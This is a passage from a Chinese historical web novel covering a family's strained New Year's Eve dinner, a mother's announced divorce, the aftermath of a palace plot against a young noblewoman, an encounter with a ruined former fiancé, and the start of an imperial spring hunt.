他再次真切意识到,当年他的选择,给孟瑜心中造成的伤害,孟瑜竟一点也不信他。
“阿瑜说得不错,我也不会允许任何人,把歪脑筋动到蕊儿身上。”
孟瑾眼神明亮而坚定,坦荡地回视孟瑜。
“我会保护好蕊儿。”
孟瑜看了孟瑾一眼,收回视线,冷声道:“我的妹妹,我自己会保护。”
孟蕊看看孟瑜,又看看孟瑾,心头温暖又忧虑,孟瑾应该不会计较二哥的口无遮拦吧?
谢清源平复了心情,又扬起笑脸,凑到孟天面前,“娘子你看,他们兄妹感情真好。”
孟天推开他伸过来的脑袋,语带嫌弃。
“休书半年前已经给你了,我们以后各不相干,你别乱喊。”
谢清源心中又一痛,“娘子,我……”
“少装可怜,别逼我除夕夜抽你!”
孟天拿筷子指着谢清源,眼神凶狠地说。
“谢大人,你做了选择,我做了决定,我们都有自己的路要走,谁都别委屈谁。”
第327章 休夫原因
谢清源眼巴巴地瞅着孟天,伤心得快要哭出来。
他又看向同桌的儿女们,眼神示意他们帮忙说话。
孟瑜瞥了眼谢清源,漠不关心地拿着筷子,夹起饺子沾了沾醋,一口吃下。
孟蕊低下头,不敢看爹爹的眼睛。
她半年前就知道,娘亲给爹爹写了休书,当时觉得惊世骇俗。
但与娘亲和纪华筠在外游历半年后,她的想法就变了。
原来离开爹爹的娘亲,过的是如此恣意洒脱的日子。
相比之下,京城这个锦绣窝,更像是困住娘亲樊笼,让她不得自由。
孟蕊自此决定,尊重娘亲的选择,娘亲和爹爹为此起冲突时,就让他们自行商量解决,她不会帮任何一边说话。
见一双亲生儿女都不说话,也不理自己,谢清源将最后的期盼投向了孟瑾。
孟瑾正拿着那封曹尚书写给厉青鸿的信,仔细阅读,感受到谢清源炽热的目光,孟瑾抬起头,晃了晃手中的信纸。
“曹尚书想要二皇子迎娶青城郡主为正妃,大概只会是他的一厢情愿,二皇子若是愿意娶青城郡主,就不会设下今晚的局。
而青城郡主,之前对二皇子的示好,没有任何回应,近来又与一名画师和一名乐师关系亲密,且她的性格跋扈任性,不会为了联姻,让自己不好过。”
“阿瑾说得有道理。”
谢清源疯狂对着孟瑾使眼色。
在孟天要休了他面前,二皇子和青城郡主联不联姻,都显得没那么重要了。
孟瑾接收到了谢清源的示意,犹豫之后,斟酌着对孟天说:
“母亲,您和父亲的事,孩儿本不该多说,但二弟刚与永宁侯府的纪小姐定亲,且是陛下赐婚,过完年就要准备婚事。
若是在这时,您闹出与父亲不和的传闻,恐对二弟的婚事不利。”
谢清源仿佛抓到了救命稻草,立刻接着孟瑾的话说:
“对!阿瑾说得对!阿瑜的婚事正要办呢,三媒六聘,三书六礼,这些仪式都要一步一步走,咱们不能在礼数上亏待了纪家姑娘。
娘子,为了阿瑜,咱们别闹了好不好?”
“没人和你闹,我只是通知你。”
孟天停下筷子,不悦地瞪向谢清源。
“谢清源,你当初是入赘到我孟家的,我有权休了你!”
“我不同意!”谢清源委屈地瞅着孟天,“别人家休妻,总得有个理由吧?你要休我,因为什么?”
“休你的原因?你自己不清楚吗?”
孟天不耐烦和谢清源掰扯那些陈年旧事。
现在,她最在意的,是孟瑾的皇子身份,一旦暴露,她的一双儿女很可能也要卷入夺嫡之争。
谢清源若再像十六年前那样,为了孟瑾,伤到孟瑜和孟蕊,孟天就算杀了谢清源,也不能解恨。 因此,还不如及早解除与谢清源的这段孽缘,带着孟瑜和孟蕊离开京城。
而且,孟瑜和孟蕊,都是跟孟天姓的,是孟家人,与谢家无关,与夺嫡更无关。
见谢清源还要狡辩,孟天伸出筷子,将谢清源的上下嘴唇夹在一起,让他说不了话。
“谢清源,我不是和你商量,是通知你,我已经休了你。”
孟天语气冷漠,气势强硬。
“以后,请你称呼我孟帮主。”
半年前孟家堡事件后,霸天帮创始帮主孟逐风的死讯传遍了江湖,孟天作为霸天帮帮主的名号,正式在江湖上打响。
孟天不用再易容乔装,掩饰自己的身份,直接以霸天帮帮主的身份,出席过多个江湖重要场合。
谢清源着急地拿开嘴上的筷子,“那阿瑜的婚事怎么办?”
“华筠说要和我私奔。”
孟瑜语出惊人,吸引了所有人的目光。
他一边给饺子沾醋,一边淡定地说:
“华筠说,永宁侯府的日子,她快要过不下去了,我们商量决定提前婚期,在最短的时间内成婚,如果不行,就私奔。”
谢清源目瞪口呆,一下子站了起来,对着孟瑜,极力反对道:
“你们马上就要成亲了,作甚要私奔?”
孟瑜抬起头,闲闲看向谢清源。
“你们定下的婚期太久了,到秋天还有大半年,华筠这几日回去,又被永宁侯夫人拘着学规矩,她已经又想跑了。”
如果没有尝过外头自由的滋味,纪华筠尚且可以忍受侯府枯燥刻板的生活。
但她十岁之前,都在南境过着无拘无束的日子,这半年的江湖游历,更让她悠然快乐。
回到京城侯府后,纪华筠是真难受,每一天都度日如年。
当然,她为了能嫁给孟瑜,没说想跑,倒是确实想要提前婚期,但永宁侯夫妇不想仓促嫁女,没有同意。
孟瑜是以退为进,用私奔为要挟,让爹娘去和永宁侯夫妇商议提前婚期,同时也让他爹知道,别用他的名义胁迫他娘。
大不了,都撂挑子不干。
谢清源果然上钩,忙道:
“婚期太久,咱们就想办法提前,多大点事儿啊,为父过完年就去和亲家商量,你们千万别搞私奔那套,你妹妹的名声还要呢。”
谢清源是真怕,纪家那丫头在孟家堡时就看着脑子不太正常,她真能干出私奔的事来,前段日子还想要拐带他儿子,可不能让他们乱来。
孟天看着有所亏欠的儿子,软了语气。
“阿瑜和华筠的婚期要提前,我会一起去和永宁侯他们商量,让你们尽快完婚。”
孟天看向谢清源,声音倏然冰冷。
“等他们办完亲事,我和你就去官府登记,正式对外宣布分道扬镳。” “娘子……”谢清源可怜兮兮地瞅着孟天,像一只被抛弃的大犬。
孟天看也不看他,吃下最后一个蒸饺后,放下了筷子。
外面庭院中,李管家已经叫人搬来了烟花。
孟天招呼着孟瑜和孟蕊,一起去院子里放烟花。
等到他们离开,饭厅里只剩孟瑾和谢清源。
孟瑾将孟天带回的信收入袖中,走到谢清源身边坐下。
“父亲,母亲的做法,我能理解,她是为了阿瑜和蕊儿好。”
孟瑾的声音一如既往地温和。
“其实父亲您还有另一个选择,既可以与母亲和好,也可以共享天伦。”
谢清源颓然的身体一振,抬头看向孟瑾,目含期待。
“什么选择?”
第328章 大恩言谢
“您可以用外出巡视生意的名义,离开京城,带着母亲、阿瑜和蕊儿一起,等到一切尘埃落定后,再回来。”
孟瑾说着,忽然轻笑着摇头。
“我差点忘了,蕊儿、阿瑜和纪小姐,他们都喜欢闯荡江湖,离开以后,应是很久都不会回来了。”
谢清源眼中的期待,逐渐转变为诧异,“阿瑾,你让我离开,那你在京中怎么办?你一个人……”
“我不是一个人,我身边有暗卫保护,父亲不必担心。”
孟瑾声音沉稳有力,冷静到仿佛在说与己无关的事。
“父亲已经为我付出够多的了,我不能眼睁睁地看着父亲为我,再度失去挚爱。
母亲要和您分开,不是因为她对您没有感情了,而是她要保护阿瑜和蕊儿,毕竟,我要做的事太危险,他们不该参与进来。
只要您不再管我这边的事,好好与母亲谈一谈,她或许会改变主意。”
“你都知道很危险了,我怎么可能留下你,自己离开?”
谢清源皱着眉摇头,否决了孟瑾的提议。
“我答应过你娘,要保护好你,现在正是关键时候。”
孟瑾严肃地看着谢清源,“您已经把我保护得很好了,父亲,我长大了,之后的路,我可以自己走,您该去追求您的幸福。”
谢清源沉默了,他转回头,望向庭院中正放着烟花开心大笑的孟天和一双儿女,迟迟下不定决心。
不知过了多久,谢清源才沉沉说出一句。
“等阿瑜成亲后再说吧。”
……
虽有些龃龉,但一家人总算是一起过了第一个除夕,守岁过了子时后,各自回房休息。
孟天强势住进主院,把谢清源赶去厢房睡。
谢清源乖乖听话,什么也没说,抱着被子去了厢房,让孟天颇感意外。
孟蕊回到自己的院子,简单洗漱后,上床休息。
娘亲能回来陪他们过年,孟蕊很高兴。
娘亲强硬地要与爹爹分开,让孟蕊多了两重忧思。
可是她也没有很好的办法,娘亲一贯不喜儿女与皇室有太多牵扯,特别是夺嫡之争惨烈,成王败寇,要是输了,整个家族都会被牵连。
而爹爹,偏偏将皇子,养做了自己的儿子。
孟蕊在知道孟瑾是皇子时,就想通了,娘亲写了休书给爹爹,是以防万一,先与爹爹划清界限。
如果娘亲和爹爹真的分开了,孟蕊觉得,自己应该会跟着娘亲离开吧?
虽然爹爹有点可怜,但孟蕊更想离开京城,到各地四处走走看看。
脑中有很多想法,一闭上眼睛,困意袭来,她很快睡着……
正月里的日子,孟蕊过得闲适自得。 她每日练武不懈怠,然后就是陪着娘亲,整理给永宁侯府的聘礼单子。
除了谢清源准备的那部分外,孟天还有自己存的好东西,要一起放在聘礼中,送给儿媳妇纪华筠。
在此期间,宫里的消息陆续传来。
淑妃因御下不严,触怒太后,被降了位份,成了曹嫔。
淑妃宫中的一名太监,被秘密处死。
二皇子因私德不修,被罚禁足一月,暂收了手上的差事,撤了他上朝议政之权。
皇家给出的罪名十分含糊,但除夕宫宴当晚,亲眼目睹二皇子和太监抱在床上的妃嫔和世家夫人不少。
还有带着人赶来闹大事态的吴贵妃,再加上听到动静过来的大臣和宫人们……
二皇子和太监之间干出的污糟事,已经不是秘密。
二皇子的名声一落千丈,二皇子一系的官员们,正在想尽办法挽回二皇子的名声,试图恢复其上朝议政之权。
同时也有消息传出,二皇子是被陷害冤枉的,始作俑者就是吴贵妃和三皇子一派的人。
无论二皇子和太监之事,是否为陷害,孟蕊都觉得,给二皇子的惩罚太轻了。
若是那天被二皇子得逞,程燕燕一辈子都要搭进去。
但为了程燕燕的名节,这件事不能拿出来,甚至程家只能咽下这口气,当做没有发生过。
正月十五元宵节那日,程夫人带着程燕燕,借着元宵节的名义上门拜谢,并带来厚礼。
“孟姐姐,多谢你那日派人救我,请受燕燕一拜。”
程燕燕郑重向着孟蕊拜下,孟蕊连忙扶起她。
“快起来,我既然发现了此事,就不能坐视不管,你没事就好,不必放在心上。”
“怎么可能不放在心上!”程燕燕后怕地捂着心口,“一想到我差点被那种恶心的人缠上,我夜晚都不敢睡觉了。”
孟蕊看到,程燕燕瓷白圆润的小脸上,水灵灵的大眼睛下,确实有两团明显的乌青,心疼地抱了抱她。
“别怕,以后警醒些,再有那种场合,尽量和家人待在一起。”
程燕燕会中招,是因为她宫宴上的酒水中,被人下了药。
她感到腹痛,着急出恭,独自走出紫宸殿,轻信了一个模样老实的宫女,跟着去了福宁殿,然后被迷晕……
再醒来时,程燕燕已经躺在回家的马车中,窝在母亲程夫人的怀里。
听程夫人讲了来龙去脉,程燕燕才知道自己差点被二皇子玷污。
孟蕊也将自己如何发现那泼酒宫女异常,和逼问出宫女企图,以及派人去福宁殿查看的过程,讲给了程夫人和程燕燕听。
程夫人听后,起身对着孟蕊一礼,感叹道:
“多亏郡主聪慧机警,菩萨心肠,不然我们燕燕就……”
程燕燕看着孟蕊,清澈的眸中满是佩服。
“孟姐姐,你真厉害,我要向你多多学习,我之前还跟你炫耀我的武功呢,结果挨了阴招,武功根本没处使。” 程燕燕抿了抿唇,唉声叹气道。
“可惜,我过几天就要离开京城了,不知道下次见到孟姐姐,是什么时候?”
“你要离开京城?”孟蕊求证地看向程夫人。
程夫人颔首,无奈道:
“燕燕遭遇了这种事,我和她父亲,都不敢再让她继续待在京城了,我要带她回南方娘家住一段时间。
县主,你对我们家的大恩,我们铭记于心,以后有用得着的地方,千万不要客气。”
第329章 再遇齐轩
送走了程夫人和程燕燕,孟蕊心情低落。
凭什么做错事的人是二皇子,被迫离开京城的,却是无辜的程燕燕?
记得之前在一起闲聊时,程燕燕对自己的及笄礼充满了期待。
程大人和程夫人疼爱女儿,三月的及笄礼,年前就已经开始准备。
孟蕊和纪华筠、赵雅娴,都很喜欢可爱爽朗的程燕燕,相约一起去观礼。
可是现在,程燕燕离开京城,她那么期待的及笄礼,也不会再在京城办了。
孟蕊惆怅地叹息,也不知道下次再见到程燕燕,会是什么时候?
——
二月初,程夫人带着程燕燕离开了京城,去往江南的娘家。
她们走得低调,孟蕊没有去程家送别,只与纪华筠一同坐在茶楼二楼包厢的窗前,目送程府的马车渐行渐远。
“唉,燕燕走了,京中能说得上话的人,又少了一个。”
纪华筠趴在桌子上,唉声叹气。
“我也好想跟去江南啊,现在出发,刚好能看到烟花三月的江南美景,比京城好玩多了。”
孟蕊原本因程燕燕离开的几分忧伤,被纪华筠的话搅散。
“华筠姐姐醒醒,你是马上要成婚的人,不能出去玩。”
她看着毫无坐相的纪华筠,有些理解永宁侯夫人的心情。
“咱们喝完这壶茶,就该回去了,要是晚了,你娘下次不让你跟我出来。”
想到那个严苛管教自己的亲娘,纪华筠又叹了口气,“婚期也不能提前,这日子什么时候是个头啊?”
孟蕊看着她这样,也很无奈。
孟天和谢清源,已经一同去拜访过永宁侯夫妇,商议将婚期提前。
但永宁侯夫人给他们算过日子后发现,婚期没办法提前。
二月太早,聘礼都没下,根本来不及。
三月有春猎,谢纪两家都要跟随陛下,去金岚围场,来回一个多月时间,回京差不多是四月中旬。
五月和七月不宜嫁娶,连带其中夹着的六月,也不被永宁侯夫人看好。
婚期最早也要等到八月。
永宁侯和谢清源已经请钦天监算日子,如果八月没有合适的吉日,婚期还要往后拖延。
纪华筠梦想着早早和孟瑜成婚,夫妻俩一起出去玩耍的逍遥日子,不知还要多久。
因为除夕宫宴出了二皇子那档子事,永宁侯夫人对纪华筠的约束比之前严格了一些。
其实,主要是不让纪华筠出门惹事,在府中她想干嘛还是比较自由的,无论是练武,还是看话本子,永宁侯夫人都由着她。
今日,孟蕊邀请纪华筠出门饮茶,也是求了永宁侯夫人许久,保证了又保证,才让其放得纪华筠出门,得了半日自在。
“我和阿瑜的婚期,真不知道会被他们拖到什么时候。”
纪华筠端起茶盏,轻抿一口。
“昨日,陛下给二皇子和三皇子赐婚的消息,你知道了吧?
他们皇家的婚礼为重,我和阿瑜的婚事,要避开他们挑的吉日,说不得,又要往后延。”
二皇子和三皇子被赐婚的消息,朝堂内外无人不晓,孟蕊自然也知道。
皇帝给三皇子的赐婚旨意,与之前内定的一致。
三皇子正妃,是户部尚书吴德勇的嫡女吴宁清,侧妃是安乐侯府嫡女姜瑶。
可皇帝给二皇子的赐婚旨意,就让人浮想联翩了。
二皇子刚经历了与太监的那桩事后,皇帝只给他赐婚了正妃,是曾经的晋国公府二房的嫡女齐月佳。
但是如今,晋国公府被褫夺爵位,齐月佳的父兄无官无品,堪称白身,只有些从晋国公府带出的钱财傍身。
齐月佳现在的身份,给不了二皇子任何助力,却偏偏得了二皇子正妃的位置。
稍有些想法的大臣们,难免揣度皇帝的用意,是否二皇子已成弃子,皇位非三皇子莫属?
孟蕊家中住着另一位皇子呢,她对此事也反复思量过,觉得皇帝如此作为,有些要挑事的意味。
现在朝堂上的局势,也确实是三皇子一派在压着二皇子一派的大臣打压。
听说,许御史要求重审三十多年前,巡察御史魏正廷在南州暴毙身亡一案,得到了吴家为首的三皇子派系官员的支持,朝堂上正为此吵得火热。
孟蕊不清楚那件案子的详情,但从目前的形势可以大致判断,吴家支持重查的案子,必然是不利于曹家的,否则曹家的势力,不会反对得那么厉害。
不过这些,都不是孟蕊能管得了的事。
“婚期要往后延,咱们也没办法,华筠姐姐早晚是我二嫂嫂,不急于一时。”
孟蕊说着俏皮话,安慰纪华筠。
“华筠姐姐若是觉得在府中无聊,不如再来我家小住?我可以请娘亲去和纪夫人说,想来纪夫人会同意的。”
纪华筠并没有被安慰到,怏怏不乐地说:
“小住又住不久,最多十天八天又得回家,要是我和阿瑜的婚期真要拖到今年年底,那我还要在永宁侯府住一年……”
孟蕊看着她的样子,觉得好笑,这是有多嫌弃自己家啊?
“没有一年啦,原定是九月的婚期,距现在不到半年,还有下个月春猎,你要去吧?又减去一个多月,需要等待的时间也就三四个月而已。”
说到春猎,纪华筠来了精神,神采奕奕道:
“这几年在京城,我娘逼着我装高贵淑女,我都没去过金岚围场,这次,我要去大显身手一番,让所有人知道我的厉害!”
两人又聊了几句,见时间差不多,便起身,带着丫鬟随从准备回府。
刚走出茶楼,孟蕊正要上马车,察觉到一个青灰色的身影,直直朝她冲过来。
孟蕊向后快速退去,灵活避开了来人伸出的手。
吟夏闪身迎上,挡在孟蕊身前,将冲过来的灰衣男子推开。
“哎呦!”灰衣男子身形瘦弱,一下就被推倒在地,摔了个四仰八叉。
孟蕊也在此时看清了男子的脸。
“齐轩?你怎么在这儿?你想作甚?”
只见曾经光风霁月、高冷如谪仙的晋国公世子齐轩,穿着一身灰扑扑的布衣长衫,艰难地从地上爬起来,还想要接近孟蕊,被吟夏伸手拦住。
齐轩尴尬得手足无措,颓然的脸上,难堪之色尽显。
他望向孟蕊,目露哀求。
“蕊儿,看到我们往日的情分上,帮帮我……”
第330章 今非昔比
“大胆!我家县主的名讳,也是你能喊的?”
吟夏厉声呵斥,作势又要去推齐轩。
齐轩连忙后退,“你别动手,我与你家县主是旧识,我有话要和她说。”
他一边应付吟夏,一边眼神求助地望向吟夏身后的孟蕊。
“吟夏,让他把话说完。”孟蕊叫停了吟夏赶人的动作。
吟夏恭敬地应了声“是”,转头依然拦着想要上前的齐轩,不让他接近孟蕊。
“你有什么话,就站在这里说!”
纪华筠听到孟蕊这边的动静,离开自家马车,走到孟蕊身边。
看到齐轩时,纪华筠诧异地啧了两声,凑在孟蕊耳边小声说:
“我听说齐家现在过得不好,这家伙怕是来找你打秋风的。”
自从晋国公入狱,晋国公府被查封后,丢了官的齐辕和齐轩,遣散了奴仆,带着家中老小,搬去了京郊的庄子上居住。
那庄子是皇帝留给他们齐家人的唯一安身之所,是看在齐家祖先的份上,给齐家人留的一条活路。
但过惯了锦衣玉食生活的齐家人,哪里受得住庄子上自力更生的生活。
他们带去的那些银子,很快用完,过年时连肉都难吃到,靠典当随身的首饰衣服度日。
年后,对晋国公的判决下来。
晋国公及其妻杜氏,都被判了流放之刑。
见起复无望,一起去了庄子上的姨娘,不想再跟着过苦日子,能跑的都跑了,留下几个年幼的庶子庶女,嗷嗷待哺。
齐辕作为最年长的大哥,不能看着年幼的弟弟妹妹饿死,选择脱下长衫,穿上粗布短褐,跟着附近的农户学着种地。
齐轩不甘心在庄子上当个在地里刨食的农户,也拉不下脸和齐辕一起种地,便想着寻一寻京中故人,可以帮一帮他。
他首先想到的,并不是孟蕊,而是曾经与他交好的同窗同僚。
可是,那些与他昔日关系密切的好友,一听是他来了,连门都不开。
失望忧愤的齐轩,在街上无目的地游走,刚好在茶楼前看到了谢府的马车,他想到曾与自己有过婚约的孟蕊,便想见上一面,碰碰运气。
齐轩觉得自己的运气不算太差,等了许久,从茶楼里出来的,真是他期盼的孟蕊。
“蕊……县主,我们进去里面说话吧?”
齐轩环视周围,茶楼门口人来人往,他觉得好多人都在嘲笑他的落魄。
孟蕊看着齐轩,无视他的要求,“我马上要回府,你有什么话,就在这里说。”
“你要回府?”齐轩眼睛一亮,“那我能跟你回府再说吗?”
真是得寸进尺!孟蕊耐心告罄,拉着纪华筠,转身就要走上马车。
“等等!蕊儿,我还没说呢!”
齐轩着急地要扑过来,被吟夏指挥随从拦住。
他推搡着拦住他的谢家随从,不顾颜面地对着孟蕊大喊。
“蕊儿,我们那么多年的情分,你连话都不想和我说了吗?”
吟夏气得要打齐轩的嘴,“你瞎说什么!我家县主清清白白,与你有什么情分可言?”
“我与她自小相识,还曾有婚约在身,全京城的人都知道!”
齐轩言之凿凿,大声宣扬,像是恨不得在场所有人,都听到他与孟蕊关系亲密。
孟蕊闻言,顿下脚步,漠然看向齐轩。
“齐公子,我和你自小相识不假,但京城的人也都知道,与你有婚约的,是安乐侯府千金姜瑶,不是我,你若再敢胡言,我可以治你不敬之罪!”
齐轩愕然望着孟蕊,觉得此刻的孟蕊,威严冷漠,高高在上,与他认识的那个温柔体贴的孟蕊,越来越不像了。
从前,齐轩是高不可攀的晋国公世子,嫌弃安乐侯府的没落,对孟蕊的主动关心,从来都是不耐烦,生怕孟蕊缠上他。
现在,风水轮流转,晋国公府没了,齐轩成了平民,处于上位的,变成了瑞嘉县主孟蕊。
而孟蕊,居然丝毫不念旧情,说出要治他罪的话来。
“我、我不是那个意思……”
齐轩局促地否认。
“我一时情急,说岔了,请县主勿怪。”
孟蕊冷冷瞧着齐轩,他这般作态,该不会觉得她喜欢他?
以为她会高高兴兴地接待他?捧着他?
不可否认,年少时的孟蕊,曾经是对翩翩公子模样的齐轩,倾慕过一段时日,由于两家的婚约,孟蕊曾尝试与齐轩拉近关系。
但齐轩对她的冷脸和打压,让孟蕊认清了现实。
齐轩不喜欢她,齐轩只喜欢对他有利的人。
现在齐轩找上她,定是别有所图。
孟蕊不想被齐轩利用,用尽最后一点耐心问:
“齐轩,你来找我,究竟所为何事?再不说,我走了。”
“别走!”齐轩急忙喊道。
齐轩被吟夏和随从拦着,近不了孟蕊的身,孟蕊对他的态度,又如此冷漠,便知他之所谋,成不了事,只好换了一套说辞。
“县主,我父亲被判了流放,不日就要上路,我想为他们在路上打点一二,让他们能好过些,想请县主帮忙。”
“这事我帮不了。”孟蕊直接拒绝。
晋国公不是什么好东西,孟蕊不乐意帮那种人。
且帮晋国公路上打点事小,若有人拿此事做文章,闹出些不好的传闻来,孟蕊就亏大了。
“我父亲年纪大了,我怕他在流放途中出意外,你可不可以帮帮我?”
齐轩苍白瘦削的脸上,露出期待的神情。
“不用你出面,只需你借我些银两,我自己去打点,也不行吗?”
这是开始给她装可怜了?孟蕊唇边勾起讥诮。
她的目光快速扫过周围有意无意望向他们的路人,暗道决不能给齐轩攀扯她的机会。
“齐公子,我与你非亲非故,与令尊更是没见过几次面,我不明白,你为什么要来找我借银子?是因为我看起来柔弱好骗吗?”
“不是,我……”
齐轩正要解释,被孟蕊直接打断。
“你的堂妹齐月佳,已经被赐婚给二殿下为正妃,你们家是皇亲国戚啊,我不信你会缺银子。
就算你真的囊中羞涩,想要为父尽孝道,那是你的事,与我无关,要借银子也该去找你家的亲戚借,而不是在大街上为难无辜的我!”
第331章 皇家春猎
孟蕊的话说完,就头也不回地钻进马车。
纪华筠看了眼面色阴郁的齐轩,回头和丫鬟交代了句,也跟着孟蕊坐进了谢府的马车。
马车很快驶离了茶楼门口,只留下被路人指指点点的齐轩。
谢府马车中,纪华筠啧啧称奇。
“谁能想到,昔日风光无限的齐世子,也会有囊中羞涩,找人借钱的一天。
蕊儿你做得对,咱不能借,齐轩是个道貌岸然的伪君子,我从前还听他说你坏话呢~”
见孟蕊好奇地看过来,纪华筠忙不迭地继续说。
“你不信啊?我亲耳听见的!
就在去年,不对,是前年秋天,我去晋国公府赴宴,在走廊拐角处,听到另一边的齐轩,对他的同窗说……”
纪华筠挺起胸膛,左手背在身后,右手横在腹前,学着齐轩往常说话的姿态道。
“婚事乃祖辈定下,非我所愿,我对姜家女郎没有半分男女之情,她抛头露面,行蝇营狗苟之道,实在不堪为公府主母,我已与父亲道明,不日便会去退亲。”
学完齐轩说话,纪华筠进行了总结。
“依我看,齐轩现在是过不下去苦日子,想找个人接盘养着他,一点男子气概也没有,咱们可不能被这种人缠上。”
刚才纪华筠就一直担心,生怕孟蕊会因为可怜齐轩,对齐轩施以援手,她紧盯着两人谈话,预备随时出手阻止。
好在孟蕊没有上当,直接拒绝后离开,纪华筠把自己知道的都告诉孟蕊,以免还有下次。
孟蕊看到纪华筠学齐轩的模样,忍不住笑起来。
“华筠姐姐,你学得真像!放心吧,我知道齐轩是个什么人,对他也没有男女之情,不会给他脸,让他缠上的。”
前世,青城郡主不顾一切地嫁给齐轩,成婚后不到两年,就死在晋国公府。
齐轩能是什么好人?
晋国公府没了,也算是大大的好事。
孟蕊先让马车送纪华筠回永宁侯府,然后才回谢府。
回到谢府后,孟蕊先去找了李管家,将自己被齐轩拦路的事,告诉李管家,请李管家派人查查齐轩的近况,以及齐轩之后的去向。
第二日午后,孟蕊就收到了消息。
昨日孟蕊一行离开后,齐轩也快速离开了茶楼门口。
他没有去找齐家二房的齐月佳借钱,而是在街上游荡了许久。
在天快黑时,齐轩踌躇再三,敲响了镇北王府的大门。
镇北王府大门打开,将他请了进去,直到今日午时一刻,全身焕然一新的齐轩,才从镇北王府中走出来。
昨日灰扑扑的长衫,已经换成了月白锦缎长袍,齐轩头戴白玉冠,脚踩金缕靴,身后还跟着几个镇北王府的侍卫,颇为威风。
齐轩一行去了关押晋国公的刑部牢房,用镇北王府的名头,和一大包银子,为晋国公的流放之路打点。
从刑部出来,齐轩又回去了镇北王府……
孟蕊听完李管家绘声绘色的讲述后,觉得不可思议。
晋国公府都被褫夺了爵位,齐轩已经不再是世子,青城郡主厉青雪,居然还是和齐轩搞在了一起。
总不会重来一世,厉青雪还是要死在齐轩手上?
孟蕊心中微沉,不管厉青雪怎样,反正她不可能再走前世的老路!
她更加勤奋地习武,并开始练习骑射,为即将到来的春猎做准备。
孟蕊从前还未参加过皇家春猎,因为安乐侯府没落后,没有资格参加。
安乐侯年少时参加春猎的趣事,孟蕊倒是听过不少,对春猎颇为期待。
二月中旬,宫内传来消息。
二皇子大婚之期,定在了六月初十,届时二皇子将迎娶齐月佳为皇子正妃。
三皇子大婚,则定在八月初八,三皇子同时迎娶正妃吴宁清,和侧妃姜瑶。
孟瑜和纪华筠的婚期,也终于可以定下。
永宁侯夫人选了九月初六的吉日,与皇子大婚错开近一个月,其他人都没有意见。
婚期定下后,孟天有事,要暂时离开京城,约定下聘时她会再回来。
时间一晃到了三月。
孟蕊和纪华筠期待的春猎,终于到来。
庆明帝厉行节俭,皇家春猎每三年一次。
这次春猎,庆明帝带上了所有的皇子公主,有子嗣的宫妃也获得恩宠,准许一同前往位于金岚的皇家围场。
连年事已高的曹太后,也要去凑热闹,要去围场欣赏皇孙们的英姿。
四品以上的大臣及其家眷,都有资格随同前往。
谢清源作为二品光禄大夫,自然有参加春猎的资格。
不过,谢清源因为要留在京城查账,没有同行。
孟瑾带着孟瑜和孟蕊,跟在皇家的大部队中,前往金岚围场。
坐在马车上的孟蕊,想到自己也能骑马射猎,心情激越。
她的箭法练得一般,但她的飞刀暗器使得准啊,她用暗器打猎,不知道收获如何?
坐在孟蕊身边的翠柳,比孟蕊更加激动,叽叽喳喳说个不停。
“姑娘,咱们这次去围场,能看到狐狸吗?我能不能捉一只回来养着玩?”
“吟秋姐姐说,那里的熊,有两个人那么高,我长这么大,还没见过熊呢!”
“对了,听说那里还有老虎和狼,好吓人的,不知道这次能不能看到?”
……
“既然有,那就都能看到。”孟蕊宠溺地拍了拍翠柳的脑袋。
看到恢复了活泼开朗的翠柳,孟蕊觉得这次带她出来是对的。
她要多带翠柳出来见见世面,才不容易被那些心怀不轨的男人骗走。
唯一让孟蕊忧心的是,这次永安伯世子秦仲棋,也来参加春猎了,翠柳免不了要和他在围场遇到。
孟蕊明明让李管家打听过,上一次的春猎,秦仲棋就以照顾卧病在床的父亲为名,没有来参加,这次他不用照顾永安伯了?
孟蕊不想见到的人中,除了秦仲棋,还有安乐侯府那一家子。
安乐侯一家仗着姜瑶即将成为三皇子侧妃,沾上了皇亲国戚的名头,也有了资格参加春猎。
此外,孟蕊还听说,青城郡主带着齐轩也来了,他们同乘一辆马车,齐轩现在的身份,是镇北王府的幕僚。
第332章 准皇子妃
从京城到金岚,一路畅通。
第三天傍晚,皇家春猎的大部队,便到达了金岚行宫。
金岚行宫位于金岚围场边上,是专为皇家春猎而建的行宫。
行宫不比京城皇宫大,地方有限,主供皇室成员和王公重臣居住。
品级低一些的大臣和随行将领,则在行宫周围集中搭建帐篷,统一安置。
孟瑾、孟瑜和孟蕊,因皇帝的恩宠,也入住了行宫,分到了一方小院住。
第二日一早,庆明帝率众在金岚围场举行祭天告庙仪式,祭祀天地、祖先,祈求丰收与平安。
自此,皇家春猎正式开始。
羽林军执戟列阵,玄甲泛着冷光,如铁壁森然。
庆明帝着褚黄骑服策马而出,金线团龙在晨风中猎猎欲活。
他的身后,诸皇子王公大臣,按品级依次排列,马蹄滚滚,踏起烟尘,向围场深处进发。
孟瑾和孟瑜也在其中,跟随庆明帝一同前去狩猎。
目送兄长离开的孟蕊,此时正与其他女眷们待在一起。
她因习武,耳力越来越好,不由自主地听到身边的议论纷纷。
“方才陛下说,今日所得猎物最出彩的,可以得到的彩头,是陛下的随身玉佩,你们说,是不是有点子暗示的意味?”
“陛下佩戴的玉佩上有龙纹的,你说有没有暗示?”
“我也注意到,二殿下和三殿下听到时,都铆足了劲要赢呢!”
“诶?你们说,两位殿下谁能赢下玉佩?”
“这可不好说,也不一定就是两位殿下赢,还有那么多武将也在。”
……
孟蕊听着耳边纷纷扰扰的对话,也不禁思考起来。
出彩的猎物,不外乎那些大型猛兽,比如熊、虎、豹等,次一级的有鹿、狼、狐等。
要是真的猎到,她要带翠柳来看。
春猎前几日,围场中的竞争本就激烈,再加上今日帝王加了彩头,捕获最出彩的猎物,可得帝王亲自嘉奖,人人都趋之若鹜。
加之二皇子和三皇子的争斗,从朝堂移到了围场。
各自支持二皇子和三皇子的大臣武将们,肯定会尽其所能,为他们的主子寻找捕获猎物。
孟蕊可不想卷入二皇子和三皇子的争斗,所以,她这几天都不准备下场。
等到竞争没那么激烈了,她再让二哥带着她和翠柳,去林子里逛一逛,捉些兔子狐狸什么的回去养着玩。
孟蕊如此想着,觉得没有必要再待下去,带着吟夏和吟秋,往人群外走。
刚走几步,孟蕊就看到一身绯红骑装的青城郡主,风风火火朝她走来。
“孟蕊,你马骑得不错,走!陪本郡主去骑马。”
厉青雪上前就要抓孟蕊的手,被孟蕊灵巧地躲过。
孟蕊微微福身一礼,道:
“郡主,我前几日舟车劳顿,身子乏累,正要回去休息,今日不方便陪您骑马。”
孟蕊扫了一眼厉青雪身后,陪着厉青雪一起来的齐轩,和之前见过的画师卫云,眼皮跳了跳,她可不要加入这复杂的关系中。
